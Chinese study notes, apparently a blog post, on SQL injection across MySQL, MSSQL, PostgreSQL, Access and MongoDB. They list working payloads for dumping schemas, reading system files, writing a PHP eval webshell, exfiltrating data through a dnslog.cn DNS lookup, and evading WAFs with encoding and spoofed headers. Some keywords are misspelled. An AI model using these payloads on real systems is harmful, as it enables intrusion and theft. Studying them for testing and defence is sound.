SQL注入 基础学习
SQL注入学习笔记
注入原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
MYSQL
在MYSQL5.0以上版本中,存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以通过直询它获取指定数据库下的表名或列名信息。
information_schema.tables 记录所有表名信息的表information_schema.co1umns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
注入判断
and 1=1
正常and 1=2
报错- 添加
'
报错/显示异常 传入非正常参数
报错/显示异常union select 1,2,3--+
判断显示位
数据库信息收集
# 数据库版本
version()
# 数据库名
database()
# 数据库用户
user()
# 操作系统
@@version_compile_os
常用查询命令
# 查看数据库
show databases;
# 使用数据库
use database_name;
# 查看表
show tables;
# 查看表的数据
select * from table_name;
# 查看列数据
select password from table_name;
分权限注入
首先通过user()
命令获取当前用户权限
高权限时可以进行跨库注入及文件读写
跨库注入
# 从information_schema获取库名
?id=-1 union se1ect 1,group_concat(schema_name),3 from information_schema.schemata
# 获取指定数据库下表名信息
?id=-1 union se1ect 1,group_concat(table_name),3 from information_schema.tables where table_schema="表名"
# 获取指定表下的列名信息
?id=-1 union se1ect 1,group_concat(column_name),3 from information_schema.columns where table_schema="表名" and column_name="列名"
# 获取指定列数据
?id=-1 union select 1,u,p,4 from 库名.admin
文件读写
# 文件读取
load_file()
?id=-1 union se1ect 1,load_file('C:/wwwroot/index.php'),3
# 导出(写入)函数
1、into out_file
?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into outfile 'C:/wwwroot/bak.php'--+
2、into dumpfile
?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into dumpfile 'C:/wwwroot/bak.php'--+
# 常见问题
1、魔术引号开关 magic_quotes_gpc 或 addslashe()函数
当 magic_quotes_gpc=On 时,输入数据中含单引号(')、双引号(")、反斜线C与NULL(NULL字符)等字符,都会被加上反斜线。这些转义是必须的。
这时使用编码或宽字节绕过
将函数传参编码为16进制(Hex)
# 防御手段
自带防御:开启 agic_quotes_gpc
内置函数:对传入字符进行类型判断
自定义关键字过滤
Waf防护
# 文件路径获取
1.报错显示 网页快照等
2.扫描或找到phpinfo.php类遗留文件
3.网站爆路径漏洞
4.平台配置文件
低权限: 暴力猜解 或 读取
不同参数类型注入
数字、字符(''$id')、搜索(%$id%)、JSON等;均可能存在注入漏洞
其中 SQL 语句干扰符号:' " % ) }
等,具体需看写法
不同请求方法注入
若后端对请求头中参数进行操作,则GET、POST、COOKIE、REQUEST、HTTP头等也可能存在注入
其它数据库
Access 数据库
只含有一个名为Access的库 保存于网站源码下(为*.mdb)
Access无文件读写功能
暴力猜解失败时:进行偏移注入(解决列名获取不到的情况)
表名:查看登陆框源代码的表单值或观察URL特征等猜测
Sql Server(MsSql) 数据库
支持功能较多
参考文章
常用语句
# 判断是否存在注入
id=1 and 1=1 ;--
id=1 and 1=2 ;--
id=1/ 或者 id=1\
id=1-0
# 判断是否为mssql
id=1 and user>0 ;-- # 正常
# 判断数据库系统
id=1 and (select count(*) from sysobjects)>0 ;-- Mssql
id=1 and (select count(*) from msysobjects)>0 ;-- Access
# 盲注延时函数
waitfor delay '0:0:5' # 延时5秒
信息收集
# 查询当前数据库版本
@@version
# 查询当前数据库名称
db_name()
# 查询当前用户
use
# 查询数据库权限
IS_SRVROLEMEMBER()
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
例; select IS_SRVROLEMEMBER('sysadmin'); 返回‘1’为此权限
mariDB
可通过mysql.innodb_table_stats
查询表名
PostgreSQL
常用命令
select CURRENT_SCHEMA() #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度
select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
# 布尔盲注
1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48
# 报错注入
1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
# 时间盲注
select pg_sleep(3)
MongoDB
非关系型数据库,大部分工具不支持 查询方式特殊
从零学习 NoSQL 注入之 Mongodb
注入工具:NoSqlAttack
查询方式
select查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
insert into news(id,url,text) values (2,'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update
更新数据会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $idselect id,name,price from news order by Sorder
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQ盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的$QL盲注-延时判断
主要使用if,sleep
函数
其次使用mid,ascii
函数
通过 响应时间 判断是否存在注入
通过 响应时间 + 暴力猜解 枚举相关数据
遇到过滤时 使用Ascii编码
基于报错的SQL盲注-报错回显
使用floor,updatexml,extractvalue
等函数通过报错回显相关数据
注入拓展
加解密注入
若数据请求时进行了编码或加密,则注入语句也应进行相应的编码或加密
可采用编写py参数处理脚本或PHP中转
二次注入(白盒)
第一步:插入恶意数据第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是据本身包含恶意内容。
第二步:引用恶意数据在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
DNS注入
解决盲注不回显,效率低的问题
?id=1 and load_file(concat('//',database(),'.*.dnslog.cn/abc'))
堆叠注入(支持部分数据库)
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。
堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)
WAF绕过
搜索最新文章,总结新思路
SQL注入-绕过安全狗_一句话木马的博客-CSDN博客_sql注入绕过安全狗
更改提交方式
尝试使用不同的提交方式进行提交数据;达到绕过目的。
关键数据拦截绕过
常见关键词绕过
order 可以用 group 来绕过
空格可以用/**/这个内敛注释绕过。
注释符,可以用单引号进行闭合,如group by 1,2'
大小写
加密解密
编码解码
换行
%0A
注释%23
id=-1 union%23a%0Aselect%201,2,3#
id=-1 union%20/*//--/*/%20select%201,2,3--+
/*//------//*//*%0a*/
等价函数
特殊符号
反序列化
注释符混用
id=-1/**-1 union select 1,2,3#*/
参数污染
Fuzz测试
通过脚本批量组合payload,测试得到可用payload
白名单
如果拿到了网站WAF白名单,则可以尝试在header中修改参数绕过
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
静态资源
特定的静态资源后缀请求,常见的静态文件(js jpg swf css
等),类以白名单机制,waf为了检测效率,有时不去检测这样一些静态文件名后缀的请求。
http://127.0.0.1/index.php/1.js?id=1
url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system
等管理后台。只要ur1中存在白名单的字符串,就作为白名单不进行检测。
常见的ur1构造姿势:
爬虫白名单(扫描绕过)
通过设置扫描器User-Agent
仿造搜索引擎爬虫,绕过流量防护
# 百度
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
# Google
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
# 360
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider
数据库特性
根据目标数据库特殊语法构造Payload
如:MySql内联注释
SQL注入 基础学习的更多相关文章
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- SQL 注入基础
SQL注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为. 本质:把用户输入的数据当作代码执行.任何和数据库产生交互的地方便有可能存在注入. SQL ...
- sql注入--基础
什么是sql注入: 利用SQL语句 在外部 对数据库进行 查询,更新等 动作 sql注入的原理: 输入值可控且带入数据库执行(前提) 接受的变量传值未进行过滤(实质) sql注入的目的: 获取数据(网 ...
- Sql注入基础一
凡是带入数据库查询的都有可能是注入. 整个数据包 Sql注入原理? 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作问题. Sql注入对于渗透的作用? 获取数据(网 ...
- SQL注入基础入门
一般的WEB架构 SQL注入成因: 用户开启浏览器并连接http://www.xxx.com.位于逻辑层的Web服务器从文件系统中加载脚本将其传递给脚本引擎,脚本引擎负责解析并执行脚本. 脚本使用数据 ...
- SQL注入基础
注入点的判断: 首先判断该注入点是怎么闭合的,常用的是','),')),",再利用and 1=2,and 1=1判断闭合是否正确 sql注入常用语句: 普通语句:schema_name——数 ...
随机推荐
- 聊聊C#中的Visitor模式
写在前面 Visitor模式在日常工作中出场比较少,如果统计大家不熟悉的模式,那么它榜上有名的可能性非常大.使用频率少,再加上很多文章提到Visitor模式都着重于它克服语言单分派的特点上面,而对何时 ...
- Git中的三种对象
1.Git中有三种对象 commit 每执行一次git commit,git都会对当前工作目录的所有文件生成一次镜像,工作区下的目录对应的对象是tree,工作区下的文件对应的对象是blob,tree下 ...
- Meaven静态资源过滤
` 点击查看代码 <build> <resources> <resource> <directory>src/main/java</directo ...
- CMU 15-445 数据库课程第四课文字版 - 存储2
熟肉视频地址: CMU数据库管理系统课程[熟肉]4.数据库存储结构2(上) CMU数据库管理系统课程[熟肉]4.数据库存储结构2(下) 1. 面向日志的存储 上节课我们讲完了面向元组的存储,这节课从面 ...
- Educatinal CF #122(Div. 2) E . Spanning Tree Queries
这一场其实有重大的意义,因为是除夕跨年,不过我FST掉大分了(ks) 题意:给你一个n点,m条边的带权图,q次询问,每次给你\(x\),每个边权为\(abs(E[i].w-x)\)答案为所有询问最小生 ...
- 在 GitHub 上玩转开源项目的 Code Review
一.幕后故事 时光荏苒,岁月如梭-- (太文绉绉了,这不是我的风格) 今天我准备聊聊在 GitHub 上如何玩 Code Review. 突发奇想?心血来潮?不是. 咋回事呢?(对八卦不感兴趣的可以直 ...
- 解决python 导入selenium 库后自动化运行成功但是报错问题
本章节开始进入自动化的基础教学了,首先我们要对我们的工具有一定的熟练使用程度,做自动化常用的工具一个是搭建 RobotFramework自动化框架,另外一个便是我们最常用的python 工作原理是比较 ...
- CSP J/S 初赛总结
CSP J/S 初赛总结 2021/9/19 19:29 用官方答案估计 J 涂卡的时候唯一的一支 2B 铅笔坏了,只能用笔芯一个个涂 选择 \(-6\ pts\) 判断 \(-3\ pts\) 回答 ...
- 2022年Web前端开发流程和学习路线(详尽版)
前言 前端侧重于人机交互和用户体验,后端侧重于业务逻辑和大规模数据处理.理论上,面向用户的产品里,所有问题(包括产品.设计.后端.甚至看不见的问题)的表现形式,都会暴露在前端,而只有部分问题(数据问题 ...
- UiPath鼠标操作文本的介绍和使用
一.鼠标(mouse)操作的介绍 模拟用户使用鼠标操作的一种行为,例如单击,双击,悬浮.根据作用对象的不同我们可以分为对元素的操作.对文本的操作和对图像的操作 二.鼠标对文本的操作在UiPath中的使 ...